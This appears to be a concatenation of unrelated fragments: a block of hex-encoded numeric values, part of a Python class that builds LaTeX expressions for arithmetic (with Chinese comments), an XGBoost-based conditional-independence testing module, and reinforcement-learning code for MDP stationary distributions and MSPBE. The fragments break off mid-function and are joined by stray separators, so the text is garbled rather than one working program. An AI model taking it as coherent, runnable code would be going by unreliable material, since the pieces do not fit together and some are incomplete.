0xbe8f, 0xbe3b, 0x3d82, 0xbe3d, 0x3f2a, 0x3f0b, 0x3d6c, 0x3e96, 0xbf68, 0xbd90,
0x3e7b, 0xbde5, 0x3dc1, 0x3f07, 0xbf10, 0x3e98, 0x3e7e, 0xbf19, 0x3e74, 0xbec3,
0x3f0b, 0xbe2e, 0xbe14, 0xbe1f, 0x3cf9, 0x3ba5, 0xbc88, 0x3e6a, 0xbd73, 0xbe85,
0xbe37, 0xbe3c, 0xbea5, 0xbb15, 0x3e4b, 0x3d67, 0x3eb3, 0xbe03, 0x3ebc, 0xbe21,
0x3ea6, 0x3e1c, 0x3e3e, 0x3e07, 0xbe4f, 0xbede, 0x3e7c, 0x3e94, 0xbec0, 0xbea3,
0xbdcf, 0x3d29, 0xbeac, 0x3f34, 0xbe9e, 0x3eba, 0x3dcc, 0xbe25, 0x3f1f, 0xbf6c,
0x3d6a, 0x3e29, 0x3e2c, 0xbedb, 0xbf43, 0xbc96, 0x3f27, 0x3f0d, 0x3f27, 0xbf85,
0x3d8a, 0xbe94, 0x4021, 0xbf3e, 0xbf29, 0xbf1f, 0x3f22, 0x3e06, 0xbf4b, 0xbe76,
0xbd2b, 0x3cac, 0x3f39, 0xbd43, 0xbe33, 0xbddc, 0xbe75, 0x3d68, 0xbe23, 0xbcea,
0x3e0f, 0xbca1, 0x3e13, 0xbb0a, 0xbe16, 0xbcc4, 0xbd40, 0xbd1f, 0xbad5, 0xbb7c,
0xb80f, 0xb843, 0xb811, 0xbad9, 0xbcf4, 0xba18, 0xb5c2, 0x3cd8, 0xbae9, 0x3bf5,
0xb69f, 0x399f, 0xbaca, 0x3b2a, 0xb4e7, 0xba32, 0xb62d, 0x36c0, 0xba04, 0xb92c,
0xbd64, 0xbac7, 0x3d0a, 0x3dc4, 0x3d64, 0xbdca, 0xbac5, 0x3dbc, 0xbc7a, 0xbdd6,
0xbe32, 0xbbe6, 0x3e9e, 0x3f88, 0xbea3, 0x3dbc, 0xbd4f, 0xbd32, 0xbecc, 0xbef2,
0x3e63, 0xbe11, 0x3f24, 0x3d94, 0x3e57, 0x3f4c, 0xbef6, 0xbe20, 0xbf0e, 0xbf1c,
0xbe8d, 0xbf1a, 0x3fb3, 0x3eec, 0xbdad, 0x3e8f, 0xbf1d, 0x3e30, 0xbd52, 0xbf2f,
0xbce2, 0xbfb5, 0x3e3e, 0x3f1d, 0xbdc5, 0x3f35, 0x3db0, 0xbf18, 0x3e9b, 0x3e73,
0xbde1, 0xbf57, 0x3f27, 0xbebf, 0x3e6d, 0x3ea1, 0x3f03, | |
o_symBrac = obj.__symBrac
o_symText = obj.__symText
o_calBrac = obj.__calBrac
o_calText = obj.__calText
elif type(obj) == Const:
o_symBrac = obj._Const__symBrac
o_symText = obj._Const__symText
o_calBrac = obj._Const__symBrac
o_calText = obj._Const__calText
#左减需要考虑obj的括号,不用考虑self的括号
if 0 == self.__calPrior:
if self.__genCal:
s_calBrac += 1
s_calText = self.__bracket(s_calBrac) % s_calText
if type(obj) == LSym:
if 1 == obj.__symPrior:
if obj.__genSym:
o_symBrac += 1
o_symText = self.__bracket(o_symBrac) % o_symText
if 1 >= obj.__calPrior:
if obj.__genCal:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
elif type(obj) == Const:
if 1 == obj._Const__symPrior:
o_symBrac += 1
o_symText = self.__bracket(o_symBrac) % o_symText
if 1 >= obj._Const__calPrior:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
### 合成表达式 ###
symText = sNum = calText = symBrac = calBrac = None
if type(obj) == LSym:
if self.__genSym:
symText = '%s-%s' % (self.__symText, o_symText)
symBrac = max(self.__symBrac, o_symBrac)
if self.__genCal:
sNum = self.__sNum - obj.__sNum
calText = '%s-%s' % (s_calText, o_calText)
calBrac = max(s_calBrac, o_calBrac)
elif type(obj) == int or type(obj) == float:
if self.__genSym:
symText = '%s-%s' % (self.__symText, dec2Latex(obj))
symBrac = max(self.__symBrac, -(obj>=0))
if self.__genCal:
sNum = self.__sNum - obj
calText = '%s-%s' % (s_calText, dec2Latex(obj))
calBrac = max(s_calBrac, -(obj>=0))
elif type(obj) == Const:
if self.__genSym:
symText = '%s-%s' % (self.__symText, o_symText)
symBrac = max(self.__symBrac, o_symBrac)
if self.__genCal:
sNum = self.__sNum - obj
calText = '%s-%s' % (s_calText, o_calText)
calBrac = max(s_calBrac, o_calBrac)
elif 'sympy' in str(type(obj)):
if self.__genSym:
symText = '%s-%s' % (self.__symText, sympy.latex(obj))
symBrac = self.__symBrac
if self.__genCal:
sNum = self.__sNum - float(obj)
calText = '%s-%s' % (s_calText, sympy.latex(obj))
calBrac = s_calBrac
return self.__newInstance(sNum, symText, calText, symBrac, calBrac, 1, 1)
def __rsub__(self, obj):
if str(type(obj)) in superiorTypes:
return obj.__sub__(self)
### 括号与文本预处理 ###
s_symBrac = self.__symBrac
s_symText = self.__symText
s_calBrac = self.__calBrac
s_calText = self.__calText
if type(obj) == LSym:
o_calBrac = obj.__calBrac
o_calText = obj.__calText
elif type(obj) == Const:
o_calBrac = obj._Const__calBrac
o_calText = obj._Const__calText
#右减需要考虑self的括号,不用考虑obj的括号
if 1 == self.__symPrior:
if self.__genSym:
s_symBrac += 1
s_symText = self.__bracket(s_symBrac) % s_symText
if 1 >= self.__calPrior:
if self.__genCal:
s_calBrac += 1
s_calText = self.__bracket(s_calBrac) % s_calText
if type(obj) == LSym and 0 == obj.__calPrior:
if obj.__genCal:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
elif type(obj) == Const and 0 == obj._Const__calPrior:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
### 合成表达式 ###
symText = sNum = calText = symBrac = calBrac = None
if type(obj) == LSym:
if self.__genSym:
symText = '%s-%s' % (obj.__symText, s_symText)
symBrac = max(obj.__symBrac, s_symBrac)
if self.__genCal:
sNum = obj.__sNum - self.__sNum
calText = '%s-%s' % (o_calText, s_calText)
calBrac = max(o_calBrac, s_calBrac)
elif type(obj) == int or type(obj) == float:
if self.__genSym:
symText = '%s-%s' % (dec2Latex(obj), s_symText)
symBrac = max(-(obj>=0), s_symBrac)
if self.__genCal:
sNum = obj - self.__sNum
calText = '%s-%s' % (dec2Latex(obj), s_calText)
calBrac = max(-(obj>=0), s_calBrac)
elif type(obj) == Const:
if self.__genSym:
symText = '%s-%s' % (obj._Const__symText, s_symText)
symBrac = max(obj._Const__symBrac, s_symBrac)
if self.__genCal:
sNum = obj - self.__sNum
calText = '%s-%s' % (obj._Const__calText, s_calText)
calBrac = max(o_calBrac, s_calBrac)
elif 'sympy' in str(type(obj)):
if self.__genSym:
symText = '%s-%s' % (sympy.latex(obj), s_symText)
symBrac = s_symBrac
if self.__genCal:
sNum = float(obj) - self.__sNum
calText = '%s-%s' % (sympy.latex(obj), s_calText)
calBrac = s_calBrac
return self.__newInstance(sNum, symText, calText, symBrac, calBrac, 1, 1)
def __mul__(self, obj):
if str(type(obj)) in superiorTypes:
return obj.__rmul__(self)
### 括号与文本预处理 ###
symPrior = 2
s_symBrac = self.__symBrac
s_symText = self.__symText
s_calBrac = self.__calBrac
s_calText = self.__calText
if type(obj) == LSym:
o_symBrac = obj.__symBrac
o_symText = obj.__symText
o_calBrac = obj.__calBrac
o_calText = obj.__calText
elif type(obj) == Const:
o_symBrac = obj._Const__symBrac
o_symText = obj._Const__symText
o_calBrac = obj._Const__calBrac
o_calText = obj._Const__calText
if 2 > self.__symPrior:
if self.__genSym:
if not (type(obj) == Const and obj._Const__special == 'ut1e'):
s_symBrac += 1
s_symText = self.__bracket(s_symBrac) % s_symText
if 2 > self.__calPrior:
if self.__genCal:
s_calBrac += 1
s_calText = self.__bracket(s_calBrac) % s_calText
if type(obj) == LSym:
if 2 > obj.__symPrior:
if obj.__genSym:
o_symBrac += 1
o_symText = self.__bracket(o_symBrac) % o_symText
if 2 > obj.__calPrior:
if obj.__genCal:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
elif type(obj) == Const:
if 2 > obj._Const__symPrior:
o_symBrac += 1
o_symText = self.__bracket(o_symBrac) % o_symText
if 2 > obj._Const__calPrior:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
if obj._Const__special == 'ut1e': #对于ut1e科学记数法符号,符号优先级为原来的符号优先级
symPrior = self.__symPrior
### 合成表达式 ###
symText = sNum = calText = symBrac = calBrac = None
if type(obj) == LSym:
o_decR = obj.__s_decR
if self.__genSym:
#是否需要乘号根据后面的数,即obj左端是否为数字而定,或者在外围为函数时由self右端而定
if obj.__s_decL or (self.__symPrior == 4 and self.__s_decR):
symText = r'%s \cdot %s' % (s_symText, o_symText)
else:
symText = s_symText + o_symText
symBrac = max(s_symBrac, o_symBrac)
if self.__genCal:
sNum = self.__sNum * obj.__sNum
calText = r'%s \times %s' % (s_calText, o_calText)
calBrac = max(s_calBrac, o_calBrac)
elif type(obj) == int or type(obj) == float:
o_decR = True
if self.__genSym:
symText = r'%s \cdot %s' % (s_symText, dec2Latex(obj)) #右侧与常数相乘,需要点乘号
symBrac = max(s_symBrac, -(obj>=0))
if self.__genCal:
sNum = self.__sNum * obj
calText = r'%s \times %s' % (s_calText, dec2Latex(obj))
calBrac = max(s_calBrac, -(obj>=0))
elif type(obj) == Const:
o_decR = obj._Const__s_decR
if self.__genSym:
if obj._Const__special == 'ut1e':
symText = s_symText #当右侧相乘的是ut1e时,该ut1e不出现在符号式中
elif obj._Const__special == 'hPercent':
symText = r'%s \times %s' % (s_symText, o_symText) #当相乘的是100%时,需要加叉乘号
#是否需要乘号根据后面的数,即obj左端是否为数字而定,或者在外围为函数时由self右端而定
if obj._Const__s_decL or (self.__symPrior == 4 and self.__s_decR):
symText = r'%s \cdot %s' % (s_symText, o_symText)
else:
symText = s_symText + o_symText
symBrac = max(s_symBrac, o_symBrac)
if self.__genCal:
sNum = self.__sNum * obj
calText = r'%s \times %s' % (s_calText, o_calText)
calBrac = max(s_calBrac, o_calBrac)
elif 'sympy' in str(type(obj)):
o_decR = False
if self.__genSym:
symText = r'%s \cdot %s' % (s_symText, sympy.latex(obj)) #与常数相乘,需要点乘号
symBrac = s_symBrac
if self.__genCal:
sNum = self.__sNum * float(obj)
calText = r'%s \times %s' % (s_calText, sympy.latex(obj))
calBrac = s_calBrac
return self.__newInstance(sNum, symText, calText, symBrac, calBrac, symPrior, 2, self.__s_decL, o_decR)
def __rmul__(self, obj):
if str(type(obj)) in superiorTypes:
return obj.__mul__(self)
### 括号与文本预处理 ###
symPrior = 2
s_symBrac = self.__symBrac
s_symText = self.__symText
s_calBrac = self.__calBrac
s_calText = self.__calText
if type(obj) == LSym:
o_symBrac = obj.__symBrac
o_symText = obj.__symText
o_calBrac = obj.__calBrac
o_calText = obj.__calText
elif type(obj) == Const:
o_symBrac = obj._Const__symBrac
o_symText = obj._Const__symText
o_calBrac = obj._Const__calBrac
o_calText = obj._Const__calText
if 2 > self.__symPrior:
if self.__genSym:
if not (type(obj) == Const and obj._Const__special == 'ut1e'):
s_symBrac += 1
s_symText = self.__bracket(s_symBrac) % s_symText
if 2 > self.__calPrior:
if self.__genCal:
s_calBrac += 1
s_calText = self.__bracket(s_calBrac) % s_calText
if type(obj) == LSym:
if 2 > obj.__symPrior:
if obj.__genSym:
o_symBrac += 1
o_symText = self.__bracket(o_symBrac) % o_symText
if 2 > obj.__calPrior:
if obj.__genCal:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
elif type(obj) == Const:
if 2 > obj._Const__symPrior:
o_symBrac += 1
o_symText = self.__bracket(o_symBrac) % o_symText
if 2 > obj._Const__calPrior:
o_calBrac += 1
o_calText = self.__bracket(o_calBrac) % o_calText
if obj._Const__special == 'ut1e': #对于ut1e科学记数法符号,符号优先级为原来的符号优先级
symPrior = self.__symPrior
### 合成表达式 ###
symText = sNum = calText = symBrac = calBrac = None
if type(obj) == LSym:
o_decL = obj.__s_decL
if self.__genSym:
#是否需要乘号根据后面的数,即self左端是否为数字而定,或者在外围为函数时由obj右端而定
if self.__s_decL or (obj.__symPrior == 4 and obj.__s_decR):
symText = r'%s \cdot %s' % (o_symText, s_symText)
else:
symText = o_symText + s_symText #左侧与符号相乘,不需要乘号
symBrac = max(o_symBrac, s_symBrac)
if self.__genCal:
sNum = obj.__sNum * self.__sNum
calText = r'%s \times %s' % (o_calText, s_calText)
calBrac = max(o_calBrac, s_calBrac)
elif type(obj) == int or type(obj) == float:
o_decL = True
if self.__genSym:
symText = dec2Latex(obj) + s_symText #与常数相乘,不需要乘号
symBrac = max(-(obj>=0), s_symBrac)
if self.__genCal:
sNum = obj * self.__sNum
calText = r'%s \times %s' % (dec2Latex(obj), s_calText)
calBrac = max(-(obj>=0), s_calBrac)
elif type(obj) == Const:
o_decL = obj._Const__s_decL
if self.__genSym:
if obj._Const__special == 'hPercent':
symText = r'%s \times %s' % (o_symText, s_symText) #当相乘的是100%时,需要加叉乘号
#是否需要乘号根据后面的数,即self左端是否为数字而定,或者在外围为函数时由obj右端而定
elif self.__s_decL or (obj._Const__symPrior == 4 and obj._Const__s_decR):
symText = r'%s \cdot %s' % (o_symText, s_symText)
else:
symText = s_symText + o_symText
symBrac = max(o_symBrac, s_symBrac)
if self.__genCal:
sNum = obj * self.__sNum
calText = r'%s \times %s' % (o_calText, s_calText)
calBrac = max(o_calBrac, s_calBrac)
elif 'sympy' in str(type(obj)):
| |
# General Headers####################
import numpy as np
import copy
#####################################
# sklearn headers##################################
import xgboost as xgb
from sklearn.metrics import roc_auc_score, accuracy_score
from sklearn.model_selection import KFold
from sklearn.neighbors import NearestNeighbors
from math import erfc
import random
#####################################################
def CI_sampler_conditional_kNN(X_in, Y_in, Z_in, train_len=-1, k=1):
'''Generate Test and Train set for converting CI testing into Binary Classification
Arguments:
X_in: Samples of r.v. X (np.array)
Y_in: Samples of r.v. Y (np.array)
Z_in: Samples of r.v. Z (np.array)
train_len: length of training set, must be less than number of samples
k: k-nearest neighbor to be used: Always set k = 1.
Xtrain: Features for training the classifier
Ytrain: Train Labels
Xtest: Features for test set
Ytest: Test Labels
CI_data: Developer Use only
'''
if Z_in is None:
assert (type(X_in) == np.ndarray), "Not an array"
assert (type(Y_in) == np.ndarray), "Not an array"
nx, dx = X_in.shape
ny, dy = Y_in.shape
assert (nx == ny), "Dimension Mismatch"
if train_len == -1:
train_len = int(2 * len(X_in) / 3)
X_tr = X_in[0:train_len, :]
Y_tr = Y_in[0:train_len, :]
X_te = X_in[train_len::, :]
Y_te = Y_in[train_len::, :]
Xtrain, Ytrain = create_Itest_data(X_tr, Y_tr)
Xtest, Ytest = create_Itest_data(X_te, Y_te)
return Xtrain, Ytrain, Xtest, Ytest, None
assert (type(X_in) == np.ndarray), "Not an array"
assert (type(Y_in) == np.ndarray), "Not an array"
assert (type(Z_in) == np.ndarray), "Not an array"
nx, dx = X_in.shape
ny, dy = Y_in.shape
nz, dz = Z_in.shape
assert (nx == ny), "Dimension Mismatch"
assert (nz == ny), "Dimension Mismatch"
assert (nx == nz), "Dimension Mismatch"
samples = np.hstack([X_in, Y_in, Z_in])
Xset = range(0, dx)
Yset = range(dx, dx + dy)
Zset = range(dx + dy, dx + dy + dz)
if train_len == -1:
train_len = int(2 * len(X_in) / 3)
assert (train_len < nx), "Training length cannot be larger than total length"
train = samples[0:train_len, :]
train_2 = copy.deepcopy(train)
X = train_2[:, Xset]
Y = train_2[:, Yset]
Z = train_2[:, Zset]
Yprime = copy.deepcopy(Y)
nbrs = NearestNeighbors(n_neighbors=k + 1, algorithm='ball_tree', metric='l2').fit(Z)
distances, indices = nbrs.kneighbors(Z)
for i in range(len(train_2)):
index = indices[i, k]
Yprime[i, :] = Y[index, :]
train1 = train_2
train2 = np.hstack([X, Yprime, Z])
y1 = np.ones([len(train1), 1])
y2 = np.zeros([len(train2), 1])
all_train1 = np.hstack([train1, y1])
all_train2 = np.hstack([train2, y2])
all_train = np.vstack([all_train1, all_train2])
shuffle = np.random.permutation(len(all_train))
train = all_train[shuffle, :]
l, m = train.shape
Xtrain = train[:, 0:m - 1]
Ytrain = train[:, m - 1]
test = samples[train_len::, :]
test_2 = copy.deepcopy(test)
X = test_2[:, Xset]
Y = test_2[:, Yset]
Z = test_2[:, Zset]
Yprime = copy.deepcopy(Y)
nbrs = NearestNeighbors(n_neighbors=k + 1, algorithm='ball_tree', metric='l2').fit(Z)
distances, indices = nbrs.kneighbors(Z)
for i in range(len(test_2)):
index = indices[i, k]
Yprime[i, :] = Y[index, :]
test1 = test_2
test2 = np.hstack([X, Yprime, Z])
y1 = np.ones([len(test1), 1])
y2 = np.zeros([len(test2), 1])
all_test1 = np.hstack([test1, y1])
all_test2 = np.hstack([test2, y2])
all_test = np.vstack([all_test1, all_test2])
shuffle = np.random.permutation(len(all_test))
test = all_test[shuffle, :]
l, m = test.shape
Xtest = test[:, 0:m - 1]
Ytest = test[:, m - 1]
CI_data = np.vstack([train2, test2])
return Xtrain, Ytrain, Xtest, Ytest, CI_data
def create_Itest_data(X, Y):
nx = len(X)
hx = int(nx / 2)
I = np.random.choice(nx, size=hx, replace=False)
S = set(range(nx))
S = S.difference(set(I))
S = list(S)
X1 = X[I, :]
X2 = X[S, :]
Y1 = Y[I, :]
Y2 = Y[S, :]
train1 = np.hstack([X1, Y1, np.ones([len(X1), 1])])
train2 = np.hstack([X2, Y2[np.random.permutation(len(Y2)), :], np.zeros([len(Y2), 1])])
train = np.vstack([train1, train2])
train = train[np.random.permutation(len(train)), :]
n, m = train.shape
Xtrain = train[:, 0:m - 1]
Ytrain = train[:, m - 1]
return Xtrain, Ytrain
def XGB_crossvalidated_model(max_depths, n_estimators, colsample_bytrees, Xtrain, Ytrain, nfold, feature_selection=0,
nthread=8):
'''Function returns a cross-validated hyper parameter tuned model for the training data
Arguments:
max_depths: options for maximum depth eg: input [6,10,13], this will choose the best max_depth among the three
n_estimators: best number of estimators to be chosen from this. eg: [200,150,100]
colsample_bytrees: eg. input [0.4,0.8]
nfold: Number of folds for cross-validated
Xtrain, Ytrain: Training features and labels
feature_selection : 0 means feature_selection diabled and 1 otherswise. If 1 then a second output is returned which consists of the selected features
Output:
model: Trained model with good hyper-parameters
features : Coordinates of selected features, if feature_selection = 0
bp: Dictionary of tuned parameters
This procedure is CPU intensive. So, it is advised to not provide too many choices of hyper-parameters
'''
classifiers = {}
model = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=100, max_depth=6, min_child_weight=1,
gamma=0, subsample=0.8, colsample_bytree=0.8, objective='binary:logistic',
scale_pos_weight=1, seed=11)
model.fit(Xtrain, Ytrain)
m, n = Xtrain.shape
features = range(n)
imp = model.feature_importances_
if feature_selection == 1:
features = np.where(imp == 0)[0]
Xtrain = Xtrain[:, features]
bp = {'max_depth': [0], 'n_estimator': [0], 'colsample_bytree': [0]}
classifiers['model'] = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=100, max_depth=6,
min_child_weight=1, gamma=0, subsample=0.8, colsample_bytree=0.9,
objective='binary:logistic', scale_pos_weight=1, seed=11)
classifiers['train_X'] = Xtrain
classifiers['train_y'] = Ytrain
maxi = 0
pos = 0
for r in max_depths:
classifiers['model'] = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=100, max_depth=r,
min_child_weight=1, gamma=0, subsample=0.8, colsample_bytree=0.8,
objective='binary:logistic', scale_pos_weight=1, seed=11)
score = cross_validate(classifiers, nfold)
if maxi < score:
maxi = score
pos = r
bp['max_depth'] = pos
# print pos
maxi = 0
pos = 0
for r in n_estimators:
classifiers['model'] = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=r,
max_depth=bp['max_depth'], min_child_weight=1, gamma=0, subsample=0.8,
colsample_bytree=0.8, objective='binary:logistic', scale_pos_weight=1,
seed=11)
score = cross_validate(classifiers, nfold)
if maxi < score:
maxi = score
pos = r
bp['n_estimator'] = pos
# print pos
maxi = 0
pos = 0
for r in colsample_bytrees:
classifiers['model'] = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=bp['n_estimator'],
max_depth=bp['max_depth'], min_child_weight=1, gamma=0, subsample=0.8,
colsample_bytree=r, objective='binary:logistic', scale_pos_weight=1,
seed=11)
score = cross_validate(classifiers, nfold)
if maxi < score:
maxi = score
pos = r
bp['colsample_bytree'] = pos
model = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=bp['n_estimator'],
max_depth=bp['max_depth'], min_child_weight=1, gamma=0, subsample=0.8,
colsample_bytree=bp['colsample_bytree'], objective='binary:logistic', scale_pos_weight=1,
seed=11).fit(Xtrain, Ytrain)
return model, features, bp
def cross_validate(classifier, n_folds=5):
'''Custom cross-validation module I always use '''
train_X = classifier['train_X']
train_y = classifier['train_y']
model = classifier['model']
score = 0.0
skf = KFold(n_splits=n_folds)
for train_index, test_index in skf.split(train_X):
X_train, X_test = train_X[train_index], train_X[test_index]
y_train, y_test = train_y[train_index], train_y[test_index]
clf = model.fit(X_train, y_train)
pred = clf.predict_proba(X_test)[:, 1]
# print 'cross', roc_auc_score(y_test,pred)
score = score + roc_auc_score(y_test, pred)
return score / n_folds
def XGBOUT2(bp, all_samples, train_samp, Xcoords, Ycoords, Zcoords, k, threshold, nthread, bootstrap=True):
'''Function that takes a CI test data-set and returns classification accuracy after Nearest-Neighbor Bootstrap'''
num_samp = len(all_samples)
if bootstrap:
np.random.seed()
random.seed()
I = np.random.choice(num_samp, size=num_samp, replace=True)
samples = all_samples[I, :]
else:
samples = all_samples
Xtrain, Ytrain, Xtest, Ytest, CI_data = CI_sampler_conditional_kNN(all_samples[:, Xcoords], all_samples[:, Ycoords],
all_samples[:, Zcoords], train_samp, k)
model = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=bp['n_estimator'],
max_depth=bp['max_depth'], min_child_weight=1, gamma=0, subsample=0.8,
colsample_bytree=bp['colsample_bytree'], objective='binary:logistic', scale_pos_weight=1,
seed=11)
gbm = model.fit(Xtrain, Ytrain)
pred = gbm.predict_proba(Xtest)
pred_exact = gbm.predict(Xtest)
acc1 = accuracy_score(Ytest, pred_exact)
AUC1 = roc_auc_score(Ytest, pred[:, 1])
del gbm
gbm = model.fit(Xtrain[:, len(Xcoords)::], Ytrain)
pred = gbm.predict_proba(Xtest[:, len(Xcoords)::])
pred_exact = gbm.predict(Xtest[:, len(Xcoords)::])
acc2 = accuracy_score(Ytest, pred_exact)
AUC2 = roc_auc_score(Ytest, pred[:, 1])
del gbm
if AUC1 > AUC2 + threshold:
return [0.0, AUC1 - AUC2, AUC2 - 0.5, acc1 - acc2, acc2 - 0.5]
else:
return [1.0, AUC1 - AUC2, AUC2 - 0.5, acc1 - acc2, acc2 - 0.5]
def XGBOUT_Independence(bp, all_samples, train_samp, Xcoords, Ycoords, k, threshold, nthread, bootstrap=True):
'''Function that takes a CI test data-set and returns classification accuracy after Nearest-Neighbor Bootstrap'''
num_samp = len(all_samples)
if bootstrap:
np.random.seed()
random.seed()
I = np.random.choice(num_samp, size=num_samp, replace=True)
samples = all_samples[I, :]
else:
samples = all_samples
Xtrain, Ytrain, Xtest, Ytest, CI_data = CI_sampler_conditional_kNN(all_samples[:, Xcoords], all_samples[:, Ycoords],
None, train_samp, k)
s1, s2 = Xtrain.shape
if s2 >= 4:
model = xgb.XGBClassifier(nthread=nthread, learning_rate=0.02, n_estimators=bp['n_estimator'],
max_depth=bp['max_depth'], min_child_weight=1, gamma=0, subsample=0.8,
colsample_bytree=bp['colsample_bytree'], objective='binary:logistic',
scale_pos_weight=1, seed=11)
else:
model = xgb.XGBClassifier()
gbm = model.fit(Xtrain, Ytrain)
pred = gbm.predict_proba(Xtest)
pred_exact = gbm.predict(Xtest)
acc1 = accuracy_score(Ytest, pred_exact)
AUC1 = roc_auc_score(Ytest, pred[:, 1])
del gbm
if AUC1 > 0.5 + threshold:
return [0.0, AUC1 - 0.5, acc1 - 0.5]
else:
return [1.0, AUC1 - 0.5, acc1 - 0.5]
def pvalue(x, sigma):
return 0.5 * erfc(x / (sigma * np.sqrt(2)))
def bootstrap_XGB_Independence(max_depths, n_estimators, colsample_bytrees, nfold, feature_selection, all_samples,
train_samp, Xcoords, Ycoords, k, threshold, num_iter, nthread, bootstrap=False):
np.random.seed(11)
Xtrain, Ytrain, Xtest, Ytest, CI_data = CI_sampler_conditional_kNN(all_samples[:, Xcoords], all_samples[:, Ycoords],
None, train_samp, | |
mdp.getStateSpace() ) ) )
piProb = pi.selectionProbabilityMatrix( mdp.getStateSpace() )
for aind in range( len( mdp.getActionSpace() ) ):
pia = np.diag( piProb[:, aind] )
Pa = mdp.getTransitionMatrix( action=mdp.getActionSpace()[aind] )
Ppi = Ppi + np.dot( pia, Pa )
return Ppi
def stationaryDistribution( mdp, pi ):
'''
Stationary distribution of the MDP under the given stochastic policy.
@param mdp: TabularMDP instance.
@param pi: Stochastic policy instance.
@return: A numpy array with the stationary distribution, each entry
corresponds to the probability of reaching a state.
'''
Ppi = computeTransitionModel( mdp, pi )
sstartDistr = mdp.startStateDistribution()
ds = np.array( sstartDistr, copy=True )
# converged = False
# t = 1
# while not converged:
for t in range( 1, 3001 ):
dsUpdate = np.dot( np.linalg.matrix_power( Ppi, t ), sstartDistr )
# dsUpdate /= np.sum( dsUpdate )
# converged = np.linalg.norm( dsUpdate ) < 1.0e-15
ds = ds + dsUpdate * ( mdp.getGamma() ** t )
# t += 1
ds *= 1.0 - mdp.getGamma()
# ds /= np.sum( ds )
# print 'ds mass: ' + str( np.sum( ds ) )
# ds = np.ones( len( mdp.getStateSpace() ) )
ds /= np.sum( ds )
return ds
def stationaryDistributionActionValueFunction( mdp, pi, ds=None ):
'''
Compute the stationary distribution for a set of state-action pairs.
@param mdp: Tabular MDP for which to calculate the transition model.
@param pi: Stochastic policy generating the stationary distribution.
@param stateTransitonModel: Transition model under the given policy from state
to state, optional.
@return: Numpy array with the stationary distribution over state-action pairs.
'''
if ds is None:
ds = stationaryDistribution( mdp, pi )
dsActionValueFunction = np.zeros( len( ds ) * len( mdp.getActionSpace() ) )
piProb = pi.selectionProbabilityMatrix( mdp.getStateSpace() )
for i in range( len( mdp.getActionSpace() ) ):
iStart = i * len( mdp.getStateSpace() )
dsActionValueFunction[iStart:iStart + len( mdp.getStateSpace() )] = ds * piProb[:, i]
ds = dsActionValueFunction
return ds
def computeTransitionModelStateAction( mdp, pi ):
'''
Compute a state-action pair transition model.
@param mdp: Tabular MDP
@param pi: Stochastic policy.
@return: Transition model.
'''
Ppi = np.zeros( ( len( mdp.getStateSpace() ) * len( mdp.getActionSpace() ) , \
len( mdp.getStateSpace() ) * len( mdp.getActionSpace() ) ) )
piProb = pi.selectionProbabilityMatrix( mdp.getStateSpace() )
for a1 in range( len( mdp.getActionSpace() ) ):
Ta1 = mdp.getTransitionMatrix( action=mdp.getActionSpace()[a1] )
for a2 in range( len( mdp.getActionSpace() ) ):
pia2 = piProb[:, a2]
# Ta1a2 = np.dot( np.diag( pia2 ), Ta1 )
Ta1a2 = np.dot( Ta1, np.diag( pia2 ) )
low1 = a1 * len( mdp.getStateSpace() )
high1 = ( a1 + 1 ) * len( mdp.getStateSpace() )
low2 = a2 * len( mdp.getStateSpace() )
high2 = ( a2 + 1 ) * len( mdp.getStateSpace() )
# Ppi[low2:high2, low1:high1] = Ta1a2
Ppi[low1:high1, low2:high2] = Ta1a2
return Ppi
def computeMSPBEProjectionMatrix( stationaryDistribution, basisFunctionMatrix ):
'''
Calculate the MSPBE projection matrix for the given stationary distribution and basis function.
@param stationaryDistribution: Stationary distribution
@param basisFunctionMatrix: Basis function matrix.
'''
phiMat = basisFunctionMatrix
try:
D = np.array( np.diag( stationaryDistribution ) )
invPDP = np.linalg.inv( np.dot( phiMat.T, np.dot( D, phiMat ) ) )
except np.linalg.LinAlgError:
# logging.warn( 'MSPBE calculation: Feature matrix is singular and inverse for projection matrix will be adjusted.' )
# stationaryDistribution += 1.0e-10
# stationaryDistribution /= np.sum( stationaryDistribution )
# D = np.array( np.diag( stationaryDistribution ) )
invPDP = np.linalg.pinv( np.dot( phiMat.T, np.dot( D, phiMat ) ) )
Pi = np.dot( phiMat, np.dot( invPDP, np.dot( phiMat.T, D ) ) )
return Pi
def mspbeStateActionValues( theta, mdp, basisFunction, stochasticPolicy, parametricPolicy=True, d_sa=None, d_s=None ):
'''
Compute the MSPBE for a state-action value function.
@param theta: Value function parameter vector.
@param mdp: MDP.
@param basisFunction: State basis function.
@param stochasticPolicy: Stochastic policy.
@return: MSPBE for given theta.
'''
if parametricPolicy:
pi = stochasticPolicy.copy()
def q( s, a ):
return np.dot( theta, basisFunction( s, a ) )
pi.setActionValueFunction( q )
stochasticPolicy = pi
Ppi = computeTransitionModelStateAction( mdp, stochasticPolicy )
# This reproduces the results from the Gradient Temporal-Difference Learning Algorithms thesis
# Ppi = np.ones( ( 14, 14 ) ) / 14.
if d_sa is None and d_s is None:
d_sa = stationaryDistributionActionValueFunction( mdp, stochasticPolicy )
elif d_sa is None:
d_sa = stationaryDistributionActionValueFunction( mdp, stochasticPolicy, ds=d_s )
R = []
for s, a in mdp.getStateActionPairIterable():
R.append( mdp.getRewardExpected( s, a ) )
R = np.array( R )
Phi = basisFunctionMatrixStateAction( basisFunction, mdp )
Pi = computeMSPBEProjectionMatrix( d_sa, Phi )
Q = np.dot( Phi, theta )
# print 'Q values: ' + str( Q )
err = np.dot( Pi, Q - ( R + mdp.getGamma() * np.dot( Ppi, Q ) ) )
# err = Q - ( R + mdp.getGamma() * np.dot( Ppi, Q ) )
mspbe = np.dot( err, d_sa * err )
return mspbe
